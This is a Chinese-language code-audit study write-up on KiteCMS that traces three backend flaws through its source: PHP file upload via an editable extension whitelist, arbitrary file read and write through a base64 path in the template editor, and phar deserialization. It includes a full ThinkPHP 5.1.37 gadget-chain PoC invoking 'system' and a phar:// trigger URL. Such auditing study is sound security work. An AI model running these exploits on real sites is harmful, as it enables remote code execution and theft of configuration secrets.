跟着Y4师傅学代码审计-KiteCMS

文章发布时间:

最后更新时间:

写在前面

这是代码审计的第三套源码Kitecms,慢慢沉淀,加油加油

image-20221203224108383

环境搭建

1
2
3
4
Windows 11 家庭中文版
php: PHP 7.3.0
apache
mysql: 5.5.53

image-20221203230544619

漏洞测试与分析

后台文件上传
  • 测试

    在后台admin/site/config.html?config_name=uploadFile处我们可以修改可上传文件类型后缀,加一个php

    image-20221203230930573

    之后我们随便找一个上传点(后台),抓包上传恶意文件

    image-20221203231653658

    回显上传路径后访问即可触发

    image-20221203231741246

  • 分析

    根据Y4师傅所述,网站有针对用户在session中设置权限的操作,我们先分析分析

    从这里作为进入入口http://localhost/admin/passport/login.html,定位至`admin\Passport.php`的`login()`函数

    首先获取完参数,并作校验后,会查auth_user表进行比对

    image-20221203232948955

    该表中还存在一个role_ids字段,应该是和权限有关,我们留意一下

    image-20221203233102708

    验证完密码后,会调用Auth::createSession()方法,其中会根据用户的uid值设置admin模块下的默认站点Session值,对于site_id字段,如果是admin用户的话就是1

    image-20221203233846326

    之后还会设置用户数据SESSION,会有签名

    image-20221203234136526

    大概弄清了Session的设置后,我们看看在修改配置中的图片类型是怎样的走的

    根据路由admin/site/config.html?config_name=uploadFile首先定位至admin\Site.php中的config方法,首先会根据每一个传参数据调用SiteConfig::saveCofig()方法,留意这里出现了session中的site_id字段,同时我们修改的图片类型位于键名为upload_image_ext

    image-20221203235023810

    image-20221203235152866

    跟入看到执行了数据库操作,首先会根据site_id作筛选,然后才会根据更新对应的k值,也就是说site_id的值决定了我们能改的范围

    1
    2
    3
    4
    5
    6
    static public function saveCofig($site_id, $k, $v)
    {
    return self::where('site_id', $site_id)
    ->where('k', $k)
    ->update(['v' => $v]);
    }

    image-20221203235654094

    然后我们去看看文件上传处

    根据路由/admin/upload/uploadfile.html定位至\admin\Upload.phpuploadfile函数处

    这里可以看到还是会根据site_id值来初始化UploadFile类

    image-20221204000120827

    我们先跟入分析一下,这里首先会从数据库里读取配置(也就是我们刚才设置的那些),合并到config变量里

    image-20221204000324102

    针对每一个配置项,还会去调用SiteConfig::getCofig($site_id, $k)方法,刚才已经见过了会根据site_id值去数据库里查数据。所以这里也就是说,如果数据库里存在对应的配置项的话就优先用数据库里的,应该是防止出现冲突吧,最后合并配置写到最终的属性config当中

    1
    2
    3
    4
    5
    foreach ($config as $k => $v) {
    if (!empty(SiteConfig::getCofig($site_id, $k))) {
    $newConfig[$k] = SiteConfig::getCofig($site_id, $k);
    }
    }

    然后经过初始化操作之后,就会执行upload方法了

    这里也就是先验证文件类型、然后上传文件。除了验证后缀和大小也就没其他的了

    1
    2
    3
    4
    5
    6
    7
    8
    case 'image':
    $result = $file->check(['ext' => $this->config['upload_image_ext'], 'size' => $this->config['upload_image_size']*1024]);
    if(empty($result)){
    // 上传失败获取错误信息
    $this->error = $file->getError();
    return false;
    }
    break;

任意文件读取

这次来看模板修改功能点,根据路由admin/template/fileedit.html定位至admin\Template.php的fileedit函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public function fileedit()
{
if (Request::isAjax()) {
$request = Request::param();
$encode = mb_detect_encoding($request['html'], array('ASCII', 'UTF-8', 'GB2312', 'GBK', 'BIG5'));
$request['path'] = base64_decode($request['path']);
if ($encode != 'UTF-8') {
$request['html'] = iconv($encode, 'UTF-8', $request['html']);
}

if (file_exists($request['path'])) {
if (is_writable($request['path'])) {
$html = file_put_contents($request['path'], htmlspecialchars_decode($request['html']));
} else {
throw new HttpException(404, 'File not readabled');
}
} else {
throw new HttpException(404, 'This is not file');
}

if ($html) {
return $this->response(200, Lang::get('Success'));
} else {
return $this->response(201, Lang::get('Fail'));
}
}

$request = Request::param('path');
$path = base64_decode($request);
if (file_exists($path)) {
if (is_readable($path)) {
$html = file_get_contents($path);
} else {
throw new HttpException(404, 'File not readabled');
}
} else {
throw new HttpException(404, 'This is not file');
}
$data = [
'html' => htmlspecialchars($html),
'path' => $request,
'name' => base64_decode(Request::param('name')),
];

return $this->fetch('fileedit', $data);
}

这里的逻辑就是根据get或者post得到path变量,经过base64解码,可以实现任意读写。如果是读的话就是get请求,写的话就是post请求。由于没有作任何检验,我们可以利用目录穿越读取任意文件。

正常请求时查询按照绝对路径来查

image-20221204003104494

那我们读一下配置

1
D:/phpstudy/WWW/config/database.php

image-20221204003248103

phar 反序列化

漏洞source点在application/admin/controller/Template.phpfilelist函数,其中调用了Admin类的getTpl方法

类中的scanFiles()方法有is_dir()可以导致phar反序列化,我这里的疑问是dir参数好像可以直接传参?

image-20221204004108425

这里thinkphp版本为5.1.37,找一个poc生成phar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use Phar;
use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;

$a = new Windows();
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

然后上传文件

image-20221204004931143

1
?dir=phar://./upload/20221204/91765e963b1efb9755077c6d317382a8.png

我这里是没打成功,但是参数确实是传的没问题。看来还是得细致的过一下经典的tp反序列化链啊。而且这里tp版本是5.1.37,应该还有一些其他可利用的框架漏洞

这里就先找一下可利用的入口吧,和上面类似的phar反序列化触发点还有scanFilesForTree()

image-20221204094059160

还有一处是在刚才Upload处,我们在初始化Upload类时,有一个uploadHandler()方法调用,这里获取了一个配置(从数据库里拿的),肯定在后台可以改(这个有印象的话应该是对应的上传驱动那里

image-20221204094430817

之后就是upload操作,前面已经说了,后面调用了$this->uploadHandler->upload($file)

type选择的是local的话,刚才就会动态加载该app\common\model\upload\driver\Local类,可以看到upload方法中出现了sink点,参数upload_path同样在后台可以修改,可用来利用phar反序列化漏洞

image-20221204094800486

参考链接

https://www.kancloud.cn/kite/book/1136594

https://y4tacker.blog.csdn.net/article/details/115759642

https://ego00.blog.csdn.net/article/details/117818074